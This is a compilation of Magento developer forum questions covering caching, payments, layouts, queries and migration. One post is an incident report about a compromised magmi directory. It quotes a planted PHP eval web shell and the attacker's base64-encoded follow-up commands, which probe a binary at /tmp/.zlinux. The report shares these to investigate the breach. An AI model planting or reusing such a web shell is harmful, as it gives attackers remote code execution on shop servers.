texts: Admin cache only showing refresh in dropdown

texts:
I've disabled and enabled and cleared and flushed cache through

php bin/magento cahce:disable
php bin/magento cahce:enable
php bin/magento cahce:clean
php bin/magento cahce:flush

Recently i just noticed i turned the cache on and then in admin it's showing that they are all disabled still.

Also, after selecting actions there is only refresh too in the drop down.

It's not a big deal because i can cross reference the DB to make sure they are turned on as well as using cmd line but it's kind of bugging me that they are still red and i can't use the admin caching panel.

EE 2.2.3

Any ideas?

Maybe i didn't setup my env.php file correctly? Is there anything that stands out to you as wrong?

<?php
return array (
  'backend' =>
  array (
    'frontName' => 'admin',
  ),
  'db' =>
  array (
    'connection' =>
    array (
      'indexer' =>
      array (
        'host' => 'localhost',
        'dbname' => '2_EE',
        'username' => 'user',
        'password' => 'pass',
        'active' => '1',
        'persistent' => NULL,
      ),
      'default' =>
      array (
        'host' => 'localhost',
        'dbname' => '2_EE',
        'username' => 'user',
        'password' => 'host',
        'active' => '1',
      ),
    ),
    'table_prefix' => '',
  ),
  'crypt' =>
  array (
    'key' => 'b****',
  ),
  'resource' =>
  array (
    'default_setup' =>
    array (
      'connection' => 'default',
    ),
  ),
  'x-frame-options' => 'SAMEORIGIN',
  'MAGE_MODE' => 'developer',
  'session' =>
  array (
    'save' => 'redis',
    'redis' =>
    array (
      'host' => '127.0.0.1',
      'port' => '6379',
      'password' => '',
      'timeout' => '2.5',
      'persistent_identifier' => '',
      'database' => '2',
      'compression_threshold' => '2048',
      'compression_library' => 'gzip',
      'log_level' => '7',
      'max_concurrency' => '6',
      'break_after_frontend' => '5',
      'break_after_adminhtml' => '30',
      'first_lifetime' => '600',
      'bot_first_lifetime' => '60',
      'bot_lifetime' => '7200',
      'disable_locking' => '0',
      'min_lifetime' => '60',
      'max_lifetime' => '2592000',
    ),
  ),
  'cache' =>
  array (
    'frontend' =>
    array (
      'default' =>
      array (
        'backend' => 'Cm_Cache_Backend_Redis',
        'backend_options' =>
        array (
          'server' => '127.0.0.1',
          'database' => '0',
          'port' => '6379',
        ),
      ),
      'page_cache' =>
      array (
        'backend' => 'Cm_Cache_Backend_Redis',
        'backend_options' =>
        array (
          'server' => '127.0.0.1',
          'port' => '6379',
          'database' => '1',
          'compress_data' => '0',
        ),
      ),
    ),
  ),
  'cache_types' =>
  array (
    'config' => 1,
    'layout' => 1,
    'block_html' => 1,
    'collections' => 1,
    'reflection' => 1,
    'db_ddl' => 1,
    'eav' => 1,
    'customer_notification' => 1,
    'config_integration' => 1,
    'config_integration_api' => 1,
    'target_rule' => 1,
    'full_page' => 1,
    'translate' => 1,
    'config_webservice' => 1,
    'compiled_config' => 1,
  ),
  'install' =>
  array (
    'date' => 'Fri, 02 Mar 2018 18:06:06 +0000',
  ),
  'system' =>
  array (
    'default' =>
    array (
      'dev' =>
      array (
        'debug' =>
        array (
          'debug_logging' => '0',
        ),
      ),
    ),
  ),
);

I have redis installed and i've used redis-cli flushall as well.

I've installed two modules today and when i check to see if they are installed on command line bin/magento modules:status I see that they are there and installed but they as well are not appearing on the backend.


texts:
Is it possible to have redirect payments in the backend? And what is the workflow in this case?

My custom payment methods uses the method authorize() to make an authorization request to a payment gateway and sometimes, the payment will require a redirect afterwards (for example for paypal or for credit card 3D secure payments).

This works fine in the frontend, but is it possible to integrate this workflow also into the backend?

The background of this is that the shop owner wants to create orders when customers call on the phone and he wants all the payment methods we programmed in the frontend.

Does anyone have experience for this? Is it possible at all and what are the necessary steps to do so?


texts: How to show current date and time list in dropdown in magento2.1.7?

texts:
How to show current date and time list in dropdown in magento2.1.7, As I have purchased an extension for store pickup in my magento2 site..
But the date , time functionality is not working properly, so I am trying to create a new controller for getting date and time.

Any help would be appreciated


texts: I try to add ReactJS in my custom module but I don't have any idea to How to integrate ReactJS with Magento 2 frontend.


texts: in Magento2 graphql, i want you to override the `label` field on `CartTaxItem` in the API to return the configured title of the tax rate

texts: in Magento2 graphql, i want you to override the label field on CartTaxItem in the API to return the configured title of the tax rate instead of the tax identifier.


texts: Special price for configurable products not displaying in product list page and not in product detailed page, Magento 2.0.7 used

texts:
Using Magento 2.0.7

Special price for a configurable product is not showing on the product page or in listing page, Added two simple product with different sizes SMALL and LARGE size and given special price for these two products it these special price details not showing in the product page. Special price work fine for the simple product.


texts: How to make multiple select filter in Magento 2 Layered Navigation

texts:
By default in Magento layered navigation I can select only one option to filter for every attribute.

I have to make custom code which allow to select multiple options from every attribute. So what is the process to achieve this and in which files I have to make changes.

I don't want to use any other modules. I have to make custom code only.

Please help me or give some suggestion.


texts: multiple shipping multi-address fields on one product

texts:
To the 'Cart' page, I select multiple shipping. I get to a page where you can choose 1 delivery address for each product.
Tell me how you can implement many delivery fields for one product.
These fields can be simple or dropdown. Suggest possible solutions or where to dig


texts: Magento Event/Observer - access event objects

texts:
We listen to various explicit and implicit events dispatched in Magento and hook up methods to perform our own logic.

But the thing i have wondered is, is there a way to know what objects i am able to access in the observer method specially for some explicitly called events, rather than going and looking at where the event is dispatched.

Is there a way by which we know which objects are passed in Varien_Event_Observer param?


texts: Best practice: Static block on Category page

texts: I want to place a full width static block at the bottom of the category page (of every category). I am quite new to Magento 2, and I was wondering what the best practice is for this?


texts: How to Display All Products in One Page?

texts:
I researched and found this but it doesnt work for me.

How can I list all products in one page?


texts:
I have items in cart. But it returns empty array when fetching them. I don't know what is the problem. I used following code for getting the number of items in cart and it gives 0.But in my site I have items in the cart.

$totalItems = Mage::helper('checkout/cart')->getItemsCount();
echo $totalItems;

$session= Mage::getSingleton('checkout/session');
foreach($session->getQuote()->getAllVisibleItems() as $item)
{
   $productid = $item->getProductId();
   $productsku = $item->getSku();
   $productname = $item->getName();
   $productqty = $item->getQty();
   echo $productid;
}

I hope someone will help on this issue.


texts: Imags are not displaying on product-listing and product detail pages

texts:
I have exported and imported products in magento2.3.0 but images are not displaying on storefront. When i check the source-code in image path is loading but dont know why its not displaying.

Working:

Images are displaying in admin and attributes are set fine.
Source code displaying image in web-developer.

Issue:

Images are not displaying in Product-listing and product detail page.


texts:
I have faced following error while running data migration for 2nd time from 1.9.2.4 to 2.3.1

  SQLSTATE[23000]: Integrity constraint violation: 1062 Duplicate entry
  '1-Migration_Default' for key 'EA
  V_ATTRIBUTE_SET_ENTITY_TYPE_ID_ATTRIBUTE_SET_NAME'


texts: Format for integers in my Account magento

texts:
As I show the values of the purchase orders without the decimals

I want you to show them this way $ 23,747


texts:
I have read the best way to edit the top links is to edit the local.xml such as

<reference name="top.links">
        <action method="addLink" translate="label title"><label>Sign Up</label><url>customer/account/create</url><title>Sign Up</title><prepare>true</prepare><urlParams/><position>101</position><liParams>id="link-sign-up"</liParams>
        <aParams>
            <class>top-links-link</class>
        </aParams>
        </action>
    </reference>

The issue here though is that the URL can not be translated eg say I wanted

English URL - /register

German URL - /registrieren

Spanish URL - /registro

What would be the best approach to get this?


texts: how to get admin details in front end in magento 2

texts:
I want to display shipping method for particular admin user,
 in the checkout page, i tried to get admin user details in front end,
 and i followed some of the things but it always returns a null value.

  Magento\User\Model\UserFactory $userFactory


texts: How to edit default search in Magento 2?

texts:
I want to edit default search bar in Magento 2. What I would like to have is to display the search icon and when the customer clicks the icon I want to show the search bar.

To do that, where to update the code?

Can anyone please guide me?


texts: Rest API - Online partial refund with multiple products error

texts:
I want to partial refund (for example 5$) with the rest API for an invoice paid with PayPal.

I am using this endpoint: /invoice/{id}/refund
And this body:

{
  "items": [
    {
      "order_item_id": 1,
      "qty": 0
    }
  ],
  "isOnline": true,
  "arguments": {
    "shipping_amount": 0,
    "adjustment_positive": 5
  }
}

It works, if the customer bought only one product.

But it gives me the following error if the customer bought multiple products (same body, but more products bought ... tried it also with all order_item_id's and I don't want to set qty to 1 because then the product itself will be invoiced, I just want to refund e.g. 5$)

  "Creditmemo Document Validation Error(s):\nYou can't create a creditmemo without products."

Am I doing something wrong, or is this just an error from the API?


texts: Magento: magmi.ini changed with xmlrpc.php ... how could this happen?

texts:
we discovered that somebody changed the magmi.ini file.

As the daily import of the 5000 skus not working we searched the system and found 2 files which where changed after the admins left for weekend.

./magento/app/magmi/conf/magmi.ini

Within the magmi.ini the host was changed to 10.149.131.141, all other values were empty, so magmi could no longer connect to the database.

./magento/app/magmi/conf/xmlrpc.php

Content of xmlrpc.php:

<?php eval($_REQUEST[2]);

Questions:

Can somebody please answer what the attacker could do with this piece of code?

How was the attacker able to upload this php file to the magmi directory?

As he could run php code, having the mysql db user and db password from the original magmi.ini file was he able to connect to the dabase to modify data?

UPDATE:
We now secured the magmi installation whith crypted url path and .htaccess.

In the access.log file we found still the POST commands to the old standard path of magmi ... so the attacker still tries to execute some code.

Therefore i wrote a simple php script in the standard magmi path to save the POST values into a file to log what the attacker is trying to do:

This is the result (parameters of the xmlrpc.php POST call):

a:3:{i:1;s:10:"1782022939";i:3;s:110:"JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiL3RtcC8uemxpbnV4Iik7IGlmICgkZGF0YSAhPT0gRkFMU0UpIGVjaG8gbWQ1KCRkYXRhKTs="i:2;s:70:"echo md5(@$_POST[1]);eval(base64_decode(@$_POST[3]));";}

The encoded command the atacker tries to execute:

$data = file_get_contents("/tmp/.zlinux"); if ($data !== FALSE) echo md5($data);

Does somebody know what the file .zlinux is? The file has a size of 113 kb, owner is www-data, and it contains binary value (numbers and characters).


texts: custom config option for a specific attribute

texts:
I have an attribute in Magento.  For this and only this attribute, I would like to have a new configuration option, similar to "Use in Quick Search" or "Allow HTML Tags on Frontend" for example.

The new option is only relevant to a specific attribute and the value must be retrievable with the attribute when it is loaded.

Is this possible?  If so how.


texts: Magento2.4.2 multi website setup not working

texts:
I have upgraded the Magento version from 2.3.3 to M2.4.2 now the main example.com working fine and example.com/wholesale | example.com/retail not working. I have copied .htaccess from pub to these subfolders but it's not working. following errors are throwing:
Refused to apply style from '<URL>' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.

Here is index.php
$params[\Magento\Store\Model\StoreManager::PARAM_RUN_CODE] = 'wholesale';
$params[\Magento\Store\Model\StoreManager::PARAM_RUN_TYPE] = 'website';
$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params);
/** @var \Magento\Framework\App\Http $app */
$app = $bootstrap->createApplication('Magento\Framework\App\Http');
$bootstrap->run($app);


texts: How to re-associate an order from one customer to another

texts:
I'm looking into what needs to be done to change the customer association on an order from one customer to another.

From a brief glance at the tables involved, it looks like at least the following may be needed:

order - Change the customer_id, customer_firstname, customer_lastname, etc.
order_address - Change the customer_address_id, firstname, lastname, etc.
order_grid - Change the customer_id
order_shipping_rate - Change the address_id
quote - Probably just delete quotes with the old customer_id for simplicity.


texts: Magento2 : How can i scroll up to first input error validation message on checkout

texts:
I saw some simillar questions, but they wanted to remove this feature. They suggested to comment some code in MAGENTO_ROOT/vendor/magento/magento2-base/lib/web/mage/validation.js file

if (firstActive.length) {
                $('html, body').animate({
                    scrollTop: firstActive.offset().top
                });
                firstActive.focus();
            }

the part with animate, but actually in my vendor file this code was not there. So i added in my file since I want this feature. But nothing happens, when continue button on checkout is pressed and I have errors in form, the body doesn't scroll to the invalid input. On desktop it's ok, but on mobile, the user might never see the error.

I've also tried to put in my JavaScript file, some custom code, some jquery, when the button is clicked. I thought initial that it doesn't work because the button is already having the onclick event from magento files, from knockout. But i think that my jquery is not working because the element are not there, and the functions is triggered before the html elements load in dom.


texts: Remove category text suffix from product title (magento 2.3)

texts:
I am a database guy and I am asked to find how to remove breadcrumb category text from product title in the products detail page of a Magento 2 website.

I don't know where the files reside to modify this behavior, I think the ultimo theme is being used.

Any help would be appreciated to remove the category suffix from product title

Thanks in advance!


texts:
I have just been fixing 1.9.3.4 with the formkey code into my Theme's billing and shipping code pages. That has mostly restored the functionality with respect to those with Form Key security turned on.

However, the Update Quantity functionality is broken. Entering a new Qty fails to change it to the new value. This is on the main Cart page

<site>/index.php/checkout/cart/

The Update Qty feature on the Basket Pull down (top right), does work properly.

Hope you can help.

Brian


texts: 404 not found - notification URL - adyen payemts

texts:
I have implemented adyen-magento2 paymets. I am facing issue related to adyen notification url:

I am using following url: SiteURL/adyen/process/json

When i test configuration. I am getting following results
HTTP test - Merchant Account:

Test 1: test_AUTHORISATION_1
ResponseTime_ms: 315
ResponseCode: 404
Output:
Error 404: Not Found
Test 2: test_AUTHORISATION_2
ResponseTime_ms: 315
ResponseCode: 404
Output:
Error 404: Not Found
Test 3: test_AUTHORISATION_3
ResponseTime_ms: 315
ResponseCode: 404
Output:
Error 404: Not Found
Test 4: test_AUTHORISATION_4
ResponseTime_ms: 315
ResponseCode: 404
Output:
Error 404: Not Found

It is only giving 404, when i test configuration through adyen. It is giving me unauthorized 401 return code which is correct.

Can any body know what could be the issue?


texts: Magento show dropdown menus in the admin dashboard from custom module?

texts:
I am just a newbie to magento. I want to add two menus in the top menu section of admin dashboard.
The menu will be like this

Storeinfo(parent)
  Store1(child menu level1/dropdown1)
  Store2(child menu level2/dropdown2)

So that when I will make hover on Storeinfo menu it should show Store1 and Store2 as dropdown.
For that my config.xml file is like this

<adminhtml>
  <menu>
    <storeinfo module="storeinfo">
      <title>Storeinfo</title>
      <sort_order>71</sort_order>
      <children>
        <items module="storeinfo">
          <title>Store1</title>
          <sort_order>1</sort_order>
          <action>storelocator/adminhtml_storeinfo</action>
        </items>
        <items module="storeinfo">
          <title>Store2</title>
          <sort_order>0</sort_order>
        </items>
      </children>
    </storeinfo>
  </menu>
</adminhtml>

But here with this code I can see only Store2 from the dropdown. So I want to know how can I show two dropdown menus? Any help and suggestions will be really appreciable. Thanks


texts:
This is what magento-check.php on the site on my new hosting looks like:

While it looks like this on my old hosting

What does this mean?


texts: what is the best way to copy live data to staging with most recent important data

texts:
I upgraded to 2.3.1 from 2.1.x copied the old site to new server and everything has been upgraded working!! I plan to change the DNS when ready. now i need to grab the most recent order and costumers info to go live.
what are the most important data I can manually copy from live db? if there are 10-15 tables to copy data and dump would be ideal.

or is there way i can copy the whole site data and dump into the staging site???there has to be easier way? typical magento never make it easy...


texts: How to set data before login and get it after log in, Magento 1.9.1.0

texts:
I'm developing a module in Magento 1.9. My module has form and to submit the form, the user needs to log in. After login, I wanna get data of the form which user submit before login.
I set:

Mage::getSingleton('module/session')->setFormData()

I get:

Mage::getSingleton('module/session')->getFormData()

But when I debug, after customer login, I get form data is null.
How can I set form data like above?


texts: How do you generate URL rewrites in Magento 2

texts:
Is there a way to force Magento 2 to redo all of the product/category urls? The majority of the site is fine with urls such as category-name/product.html but a few categories refuse to conform to the same rules.

Before I could get rid of the table and reindex but this option no longer exists.


texts: Make a custom search bar in glossary in magento

texts:
There is an error says

  Fatal error: Call to a member function addAttributeToSelect() on null

<?php
if ($this->getRequest()->isPost('btn-save')) {
    $search = $this->getRequest()->getPost();
    $searchKey = '';
  if($search) {
      $searchKey = $search['gsearch'];
  }

    $collection = Mage::getResourceModel('glossary/word_collection');
  $words ->addAttributeToSelect('name');
  $words ->addAttributeToFilter(array(array('name' => $searchKey, 'eq' => true)));
  echo $words->getSelect();
}
?>


texts: How do you create the Parent Product for Amazon Variations?

texts:
I've got a Magento site that I'm trying to integrate with Amazon using M2E Pro, but I'm really struggling to configure the variations.
Amazon is currently listing the simple products as independent items rather than as children within a Parent SKU.
If I try to list the configurable product, M2E Pro throws an error, demanding that a variation be selected.
Any help would be greatly appreciated.
Many thanks in advance.


texts: Which frontend technology knowledge is required for Magento 2?

texts:
To make a custom theme for Magento 2, which tools and technology is required?

Example

Less
Angular
etc.


texts: htaccess Rewrite Rules for Magento Multisite with WordPress blog

texts:
I have a Magento installation running 2 websites:

www.mywebsite1.co.uk
www.mywebsite2.co.uk

We had a blog extension that was used, however now we've switch the blog on mywebsite1.co.uk to WordPress.

This is stored in www.mywebsite1.co.uk/blog directory

However, now when you go to mywebsite2.co.uk/blog, you are taken to www.mywebsite1.co.uk/blog because the /blog directory exists for mywebsite2.co.uk.

Is there a way I can either:

Tell requests to mywebsite2.co.uk/blog to ignore the /blog directory
Move the WordPress installation to a new directory but keep the url as mywebsite1.co.uk/blog

EDIT:

Magento has the following Rewrite condition in it's htaccess file that tells it not to apply the default Magento rewrites to directories.

RewriteCond %{REQUEST_FILENAME} !-d

I need to somehow overwrite this, or work around in why people visit from HTTP_HOST mywebsite2.co.uk and REQUEST_URI ^/blog/

Something like:

RewriteCond %{HTTP_HOST} ^www\.mywebsite2\.co\.uk$
RewriteCond %{REQUEST_URI} ^/blog/
RewriteRule .* index.php [L]

Thanks!


texts: Sending out transactional emails manually

texts:
I need to send out an email to al my customers, i have created a transactional email template which has all the relevant information in it but i do not know how to send this emails to registered customer, can anyone help?

So my question is how can you manually send emails to customers?

Thank you


texts: Guest checkout redirect to account login page

texts: When I am not login and dont have account I still want to purchase item. But I am redirecting to create account page when I click on Checkout button.  At my admin side  option  of guest checkout is yes


texts: How to remove/hide a tab in customer admin edit in magento 2

texts:
HOW can we remove/hide a tab in customer admin edit in Magento 2 ?

For more clarification please visit here:-

https://nimb.ws/ZIxY8d

Waiting for the reply!!!


texts: Logged Out problem on cms page save in magento 1.9.0.1

texts:
Getting following error:

a:5:{i:0;s:63:"SQLSTATE[HY000]: General error: 2006 MySQL server has gone away";i:1;s:2879:"#0 {main}";s:3:"url";s:135:"/index.php/admin/cms_wysiwyg/directive/___directive/e3tza2luIHVybD0nJ319/key/c85e331ae36188829cb324a6597d12e2/images/banner-static3.png";s:11:"script_name";s:10:"/index.php";s:4:"skin";s:5:"admin";}


texts:
While searching for product and if product not exist then no issue but when product found then css not loading and giving error

Uncaught ReferenceError: require is not defined
    at ?q=Dummy:117
site is not on local its on live
And this is only happening to this page, other all pages are working fine


texts: Magento - cannot add stored procedure using install script

texts:
I have created a stored procedure which do some updates in database. Now when I am trying to add that stored procedure using magento install script from sql folder, It is not being updated..

I cannot see stored procedure created in database.. I am using below syntax there

$write = Mage::getSingleton('core/resource')->getConnection('core_write');
$write->query(STORED_PROCEDURE_SYNTAX);


texts: Magento2 - Can we use deprecated payment method on live website?

texts:
I recently have upgraded from Magento 2.3.3 to 2.3.6 and Braintree payment method has been deprecated in 2.3.6.
Can we use deprecated payment method on live website in Magento2 ?
Is there any bad consequence using deprecated payment method. ?


texts: How to inter change magento 2 category programmatically

texts: I would like to inter change two sub categories in magento 2. anyone help me


texts: How to do multiple join query in magento

texts:
I have to add Extra field like buyer name in Admin sales order create section

Mage_Adminhtml_Block_Sales_Order_Create_Search_Grid

In collection Add code like

 $collection->getSelect()->join(
        't2'=>'table2_to_be_joined',
        'main_table.table_field_id ='t2.field_id', array('field_name'));

New products field are coming excellently.

now we need to add one more table

field to check table_2 field_name == table_3 field_name must equal.

After adding this join query result

$collection->getSelect()->join( array(
      't2'=>'table2_to_be_joined', 't3' => 'table3_to_be_joind'),
        'main_table.table_field_id ='t2.field_id' and 't2.field_name = t3.field_name',array('field_name'));

Its showing

  Unknown column 't3.field_name' in 'on clause', query


texts: Creating a multi select box block in Magento 2?

texts:
This is my Magento 1 code, how would I rewrite this in Magento 2.3.3? I tried the exact way, but this is not working, I am getting a blank screen. Any ideas?
$select = $this->getLayout()->createBlock('core/html_select')
                        ->setName($attributeCode . '[]')
                        ->setId($attributeCode)
                        ->setTitle($attributeInfo->getStoreLabel())
                        ->setExtraParams('multiple="multiple" size="4"')
                        ->setValue($attributeValue)
                        ->setOptions($attributeOptions)
                        ->setClass('multiselect')
                        ->getHtml();

Thanks!


texts: How to inject EAV attribute to product model before loading it in Magento 2?

texts:
I want to always add a specific EAV attribute to the Product model whenever a Product model is loading.

As an example, I always want to include vendor_name and brand_name EAV attributes to my Product model whenever I'm loading any product model anywhere in Magento. Is there any product_before_load observer in Magento 2, so that I will be able to inject my required EAV attributes to product's model ? Or is there any other solution?

I'm in the situation that my products already loaded without those EAV attributes and I just don't want to re-load products (because of performance problems it makes (specially in catalog page, which needs to reload each product)). So I want to make sure that all Product models that I'm getting is always have those specific EAV attributes.


texts: Magento 2.3 - Display additional attribute on backend order overview

texts:
Given scenario:

We have a ton of articles where it would be better for our workflow to add an additional attribute displayed at the highlighted area on the picture, but since i cant find a configuration option for that im going to ask it here.

Is there an easy way to add additional attributes there?


texts: What purpose does getChildHtml('top') and getChildHtml('bottom') have in wishlist/view?

texts: I undersand getChildHtm() is used for rendering child blocks which are connected in layout xml files, but I can not find any template or block named 'top' or 'bottom'. Also both of them are empty strings. Why are those there in the first place and from where and how is the content eventually attached to them?


texts: Sent an Email just once to the admin help?

texts:
Here is the issue; I am creating a web service using API to connect to something else. And I want to handle an error in case the path does not work but I want to notify the admin for this issue by email and I want that just once because on the web may be 1000 user per day this would be crazy to sent 1000 emails.

Here is the code:

$errorMessage = 0;
try {$client = new SoapClient('http://xxxxxxxxxxx');}

catch(Exception $e) {$exceptionMessage = $e->getMessage();

if ($exceptionMessage) {

$errorMessage = 1;

echo 'Display the error';

if($errorMessage = 1){

  echo "Send an email to admin";
  $errorMessage = 0;

} else {
  echo 'Email just sent to the admin';

    }

  }
}

It looks that id does not work this way. What I was thinking is to do that via database to insert a value like 1 and then switch it to 0. I don't know if you guys have a better idea.


texts: How can I override template file from non magento core modules?

texts: I have installed modules on Magento 2. I don't want to touch the module file. Is it possible to override that third-party module's template file from my Custom Module?


texts: Magento 2 change productname adding to cart

texts:
I need to change the productname visible for the customer after adding it to the cart. Also it should show on invoice, order email and everything else visible for the customer.
I made an extension with observer checkout_cart_product_add_after
   $item = $observer->getEvent()->getData('quote_item');
   $item = ( $item->getParentItem() ? $item->getParentItem() : $item );
   $item->getProduct()->setName('this is the productname');
   $item->getProduct()->setIsSuperMode(true);

But the original productname is still visible on minicart, cartpage, etc.
The 'add to cart message' is the only place where the new changed productname is visible. What should I change?


texts: Magento 2 Admin form wysiwyg field width problem

texts:
I have added a WYSIWYG field in my custom admin form but it's taking the full width of the form instead of matching other fields width.

Here is what I am using for this in ui_component

<field name="description">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="label" xsi:type="string" translate="true">Job Description</item>
                    <item name="formElement" xsi:type="string">wysiwyg</item>
                    <item name="source" xsi:type="string">job</item>
                    <item name="wysiwyg" xsi:type="boolean">true</item>
                    <item name="sortOrder" xsi:type="number">130</item>
                    <item name="dataScope" xsi:type="string">description</item>
                    <item name="validation" xsi:type="array">
                        <item name="required-entry" xsi:type="boolean">true</item>
                    </item>
                </item>
            </argument>
        </field>


texts:
Where can I find Magento 1 Core Files ?

I have checked many sources and can't find anything.
As I need to check the modifications applied on Magento core files after implementing our theme.

Thanks in advance,


texts: Change page layout for products under specific category

texts:
I am trying to set 2columns-right.phtml layout for products under specific category while the default is 1column.phtml.(Please note i don't want to change Category page layout but layouts of products under that category)

I tried Admin >Manage categories >Select Category >Custom design >Change "Apply to Products" to yes and in "Custom Layout Updates" entered

<reference name="product.info">
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
</reference>

Didn't work

Then i went to rwd/default/layout/catalog.xml and added after

<!--
    Product view
    -->

Entered

<CATEGORY_3>
<reference name="product.info">
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
    </reference>
    </CATEGORY_3>

But even this didn't work, It would be of great help any ideas on this. Magento CE Version 1.9.1


texts: Magento 2 : How to add Custom link product Attribute in Custom product link grid

texts:
I have added new custom product link type and it working fine.
I want to add some custom attribute to it grid and in grid i want to give text box option for enter custom attribute value and when product save at that time i want to save it.

https://prnt.sc/i2i61b

Any help will be appreciated. Thank you.


texts: Magento 2 Default Meta description has no effect

texts:
I try to add meta description to my Magento 2 theme under Content -> Design -> configuration -> Edit -> HTML Head -> default meta description
but the text I add has no effect, when I look at the source code,
<meta name="description" content=""> just show something completely different, which I have no idea where the text come from.
Am I misunderstanding how Magento 2 meta description works?


texts: Check or display every possible global message

texts: Is there a menu or page where I can check all the possible global messages? I want to translate them to Dutch and German, but I saw that not every global message is translated yet.


texts: what is replace option in import products in magento2

texts:
In magento2 import screen there is a field called import behaviour.it contain 3 options(add/update,delete,replace).

any one have idea how replace option will work?


texts: Magento2 : No Updation in custom table for module

texts:
I am using upgradeschema to update field in my custom table
i want to add gender and city in this table but after running upgrade command on CLI no updation in database table
here's my upgradeschema

<?php
namespace Contact\Modules\Setup;

use Magento\Framework\Setup\UpgradeSchemaInterface;
use Magento\Framework\Setup\ModuleContextInterface;
use Magento\Framework\Setup\SchemaSetupInterface;
class UpgradeSchema implements  UpgradeSchemaInterface
{
    public function upgrade(SchemaSetupInterface $setup,
                            ModuleContextInterface $context){
        $setup->startSetup();
        if (version_compare($context->getVersion(), '1.0.0') < 0) {

            // Get module table
            $tableName = $setup->getTable('modules_contact');

            // Check if the table already exists
            if ($setup->getConnection()->isTableExists($tableName) == true) {
                // Declare data
                $columns = [
                    'gender' => [
                        'type' => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                        'nullable' => false,
                        'comment' => 'gender',
                    ],
                     'city' => [
                        'type' => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                        'nullable' => false,
                        'comment' => 'city',
                    ],
                ];

                $connection = $setup->getConnection();
                foreach ($columns as $name => $definition) {
                    $connection->addColumn($tableName, $name, $definition);
                }

            }
        }

        $setup->endSetup();
    }
}


texts: Adding quantity increment button in cart and mini cart

texts:
I need to add a quantity increment button in cart page and mini cart popup like this.

I added the button but I can't assign the functionality.
This is what I did
 app/code/Amsi/UserManagement/view/frontend/layout/checkout_cart_index.xml

<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" layout="1column" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

        <referenceBlock  name="checkout.cart.form">
            <block class="Magento\Framework\View\Element\RendererList" name="checkout.cart.item.renderers.override" as="renderer.list.custom"/>
            <arguments>
                <argument name="renderer_list_name" xsi:type="string">checkout.cart.item.renderers.override</argument>
            </arguments>
        </referenceBlock>

</page>

app/code/Amsi/UserManagement/view/frontend/layout/checkout_cart_item_renderers.xml

<?xml version="1.0"?>
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">

        <referenceBlock name="checkout.cart.item.renderers.override">
            <block class="Magento\Checkout\Block\Cart\Item\Renderer" as="default" template="Amsi_UserManagement::cart/item/default.phtml" />

            <block class="Magento\Checkout\Block\Cart\Item\Renderer" as="simple" template="Amsi_UserManagement::cart/item/default.phtml" />
        </referenceBlock>

</page>

app/code/Amsi/UserManagement/view/frontend/templates/cart/item/default.phtml

.......
<td class="col qty" data-th="<?= $block->escapeHtml(__('Qty')) ?>">

        <label class="label" for="cart-<?= /* @escapeNotVerified */ $_item->getId() ?>-qty">
            <?= /* @escapeNotVerified */ __('Qty') ?>

            <button>-</button>
            <input id="cart-<?= /* @escapeNotVerified */ $_item->getId() ?>-qty"
                   name="cart[<?= /* @escapeNotVerified */ $_item->getId() ?>][qty]"
                   data-cart-item-id="<?= /* @escapeNotVerified */ $_item->getSku() ?>"
                   value="<?= /* @escapeNotVerified */ $block->getQty() ?>"
                   type="number"
                   size="4"
                   title="<?= $block->escapeHtml(__('Qty')) ?>"
                   class="input-text qty"
                   data-validate="{required:true,'validate-greater-than-zero':true}"
                   data-role="cart-item-qty"/>
            <button >+</button>

......

How can i assign functionality to increment and decrements buttons ?


texts:
I was able to run php bin/magento setup:static-content:deploy
 command, but after changing the permissions of the folders this is giving error:

There is no directory in bin folder. I have just installed the fresh magento 2.3.

Please help me what I am missing or doing wrong.


texts: Magento 2 query builder conditional order by

texts:
I have this query builder, which works fine.

$collection->getSelect()->joinLeft(
    'sales_order_item',
    'e.entity_id = sales_order_item.product_id',
    array('qty_ordered'=>'SUM(sales_order_item.qty_ordered)'));
$collection->getSelect()->joinLeft(
    'catalog_category_product',
    'e.entity_id = catalog_category_product.entity_id',
    array('product_position'=>'catalog_category_product.position'))
    ->group('e.entity_id')
    ->order('product_position ASC','qty_ordered DESC');

However, I would like to have a conditional order by as I could in a raw mysql. I'd like the order by to be like this,

CASE product_position WHEN <> 0 THEN product_position ELSE qty_ordered END ASC

How can I convert the above query to Magento query builder?


texts: Setup Magento 2.1.6 Successfully But when run admin URL shows Black screen


texts: Magento2 - plugin / event after invoice is created

texts:
I need to execute some custom code after invoice is created

I have some code working fine, when invoices are created in backoffice (I am observing sales_order_save_before event & checking for a state change to detect if the invoice has been created), but this does not work when 3rd party payment methods create the invoice during frontend checkout process

I am not sure if I can achieve this with observer / event approach, or maybe a plugin should be the right method. Any tips?


texts: When I am trying to add a special character "&" in a custom product attribute option. The characters after it are cut off, & included. It does not work if you enter it as an HTML entity "&" either. Is there a way to add such characters as attribute options?


texts: afterPlaceOrder function is not redirecting to external link for custom payment gateway

texts: I added the code for afterPlaceOrder function in sample payment .js file,but it is not been redirected to external link.When I click on Place Order button,success page is been displayed(default functionality),whereas it should be redirected to external link.


texts: Magento 2 - the frontend works, but admin shows "This site can’t be reached 127.0.0.1 refused to connect."

texts: In Magento 2, why can I go to frontend and access the pages, but not to admin. In env.php the adin url is set correctly.


texts:
i have this code in an observer.php :

<?php

class Moh3n_Attvaluecopier_Model_Observer
{

public function  copyAttribute($observer){

    if(!$this->_processFlag):

        $this->_processFlag=true;
        $_product = $observer->getProduct();
        $_productid = $_product->getId();
        $productModel = Mage::getModel('catalog/product');
        $loadCurrentProduct = $productModel->load($_productid);
        $loadCurrentProduct->setGeneralWeight(intval($loadCurrentProduct->getWeight()));
        $loadCurrentProduct->save();
        endif;}
    }

it copies the weight attribute value into general_weight attribute without decimals.

i want to add a value like (KG) to general_weight right after copied value.
i want general_weight to show this way: 1000 KG

how to do that?


texts: Is there any issue if I am using Magento RWD theme as it for my shopping website?


